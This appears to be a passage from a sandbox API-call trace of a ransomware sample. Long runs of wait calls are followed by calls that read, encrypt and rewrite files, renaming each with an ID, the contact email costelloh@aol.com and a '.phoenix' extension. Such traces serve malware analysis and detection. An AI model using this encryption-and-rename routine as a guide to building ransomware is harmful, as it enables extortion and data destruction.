	[0212.564] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.564] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.564] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.564] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.564] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.564] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.564] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.565] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.565] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.565] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.565] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.565] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.565] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.565] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.565] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.565] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.565] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.565] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.566] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.566] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.566] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.566] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.566] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.566] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.566] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.566] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.566] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.566] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.567] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.567] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.567] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.567] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.567] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.567] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.567] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.567] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.567] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.567] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.568] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.568] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.568] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.568] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.568] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.568] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.568] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.568] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.568] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.568] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.569] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.569] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.569] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.569] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.569] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.569] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.569] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.569] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.569] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.569] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.569] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.570] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.570] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.570] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.570] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.570] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.570] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.570] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.570] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.570] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.570] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.571] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.571] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.571] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.571] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.571] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.571] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.571] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.571] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.571] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.571] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.572] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.572] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.572] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.572] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.619] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.620] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.620] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.620] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.620] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.620] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.620] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.620] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.620] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.620] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.620] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.621] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.621] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.621] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.621] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.621] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.621] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.621] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.621] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.621] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.621] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.622] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.622] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.622] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.622] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.622] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.622] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.622] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.622] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.622] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.622] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.622] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.623] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.623] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.623] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.623] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.623] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.623] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.623] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.623] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.623] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.623] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.624] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.624] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.624] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.624] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.624] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.624] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.624] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.624] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.624] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.624] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.625] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.625] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.625] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.625] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.625] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.625] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.625] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.899] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0212.899] CreateFileW (lpFileName="\\\\?\\C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c
	[0212.951] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=0) returned 1
	[0212.951] CloseHandle (hObject=0x23c) returned 1
	[0212.976] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0212.976] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c
	[0213.017] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=5091790) returned 1
	[0213.017] CloseHandle (hObject=0x23c) returned 1
	[0213.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu")) returned 0x80
	[0213.017] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 1
	[0213.018] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c
	[0213.018] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d1fa28 | out: lpNewFilePointer=0x0) returned 1
	[0213.018] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d1fa28 | out: lpNewFilePointer=0x0) returned 1
	[0213.023] ReadFile (in: hFile=0x23c, lpBuffer=0x40e4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d1fa34, lpOverlapped=0x0 | out: lpBuffer=0x40e4058*, lpNumberOfBytesRead=0x3d1fa34*=0x40000, lpOverlapped=0x0) returned 1
	[0213.048] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x3d1fa28 | out: lpNewFilePointer=0x0) returned 1
	[0213.048] ReadFile (in: hFile=0x23c, lpBuffer=0x4124058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d1fa34, lpOverlapped=0x0 | out: lpBuffer=0x4124058*, lpNumberOfBytesRead=0x3d1fa34*=0x40000, lpOverlapped=0x0) returned 1
	[0213.072] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x3d1fa28 | out: lpNewFilePointer=0x0) returned 1
	[0213.072] ReadFile (in: hFile=0x23c, lpBuffer=0x4164058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d1fa34, lpOverlapped=0x0 | out: lpBuffer=0x4164058*, lpNumberOfBytesRead=0x3d1fa34*=0x40000, lpOverlapped=0x0) returned 1
	[0213.108] CryptImportKey (in: hProv=0x616790, pbData=0x3d1fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3d1fa84 | out: phKey=0x3d1fa84*=0x645af8) returned 1
	[0213.108] CryptSetKeyParam (hKey=0x645af8, dwParam=0x1, pbData=0x3d1fb18, dwFlags=0x0) returned 1
	[0213.108] CryptEncrypt (in: hKey=0x645af8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x40e4020*, pdwDataLen=0x3d1fa38*=0xc0080, dwBufLen=0xc0080 | out: pbData=0x40e4020*, pdwDataLen=0x3d1fa38*=0xc0080) returned 1
	[0213.109] CryptDestroyKey (hKey=0x645af8) returned 1
	[0213.109] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d1fa60 | out: lpNewFilePointer=0x0) returned 1
	[0213.109] WriteFile (in: hFile=0x23c, lpBuffer=0x40e4020*, nNumberOfBytesToWrite=0xc0132, lpNumberOfBytesWritten=0x3d1fa70, lpOverlapped=0x0 | out: lpBuffer=0x40e4020*, lpNumberOfBytesWritten=0x3d1fa70*=0xc0132, lpOverlapped=0x0) returned 1
	[0213.168] SetEndOfFile (hFile=0x23c) returned 1
	[0213.172] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x3d1fa30 | out: lpNewFilePointer=0x0) returned 1
	[0213.172] WriteFile (in: hFile=0x23c, lpBuffer=0x41a416a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d1fa3c, lpOverlapped=0x0 | out: lpBuffer=0x41a416a*, lpNumberOfBytesWritten=0x3d1fa3c*=0x40000, lpOverlapped=0x0) returned 1
	[0213.175] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x3d1fa30 | out: lpNewFilePointer=0x0) returned 1
	[0213.175] WriteFile (in: hFile=0x23c, lpBuffer=0x41a416a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d1fa3c, lpOverlapped=0x0 | out: lpBuffer=0x41a416a*, lpNumberOfBytesWritten=0x3d1fa3c*=0x40000, lpOverlapped=0x0) returned 1
	[0213.177] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d1fa30 | out: lpNewFilePointer=0x0) returned 1
	[0213.177] WriteFile (in: hFile=0x23c, lpBuffer=0x41a416a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d1fa3c, lpOverlapped=0x0 | out: lpBuffer=0x41a416a*, lpNumberOfBytesWritten=0x3d1fa3c*=0x40000, lpOverlapped=0x0) returned 1
	[0213.179] CloseHandle (hObject=0x23c) returned 1
	[0213.882] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0213.882] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c
	[0213.903] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=77144) returned 1
	[0213.903] CloseHandle (hObject=0x23c) returned 1
	[0213.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui")) returned 0x20
	[0213.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.903] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.903] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0213.903] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c
	[0213.904] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=76640) returned 1
	[0213.904] CloseHandle (hObject=0x23c) returned 1
	[0213.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui")) returned 0x20
	[0213.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.904] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.904] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0213.904] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c
	[0213.904] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=77152) returned 1
	[0213.904] CloseHandle (hObject=0x23c) returned 1
	[0213.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui")) returned 0x20
	[0213.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.905] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.905] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0213.905] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c
	[0213.905] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=44888) returned 1
	[0213.905] CloseHandle (hObject=0x23c) returned 1
	[0213.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui")) returned 0x20
	[0213.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.905] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0213.906] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0213.906] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c
	[0213.906] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=77152) returned 1
	[0213.906] CloseHandle (hObject=0x23c) returned 1
	[0213.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui")) returned 0x20
	[0213.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0213.906] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
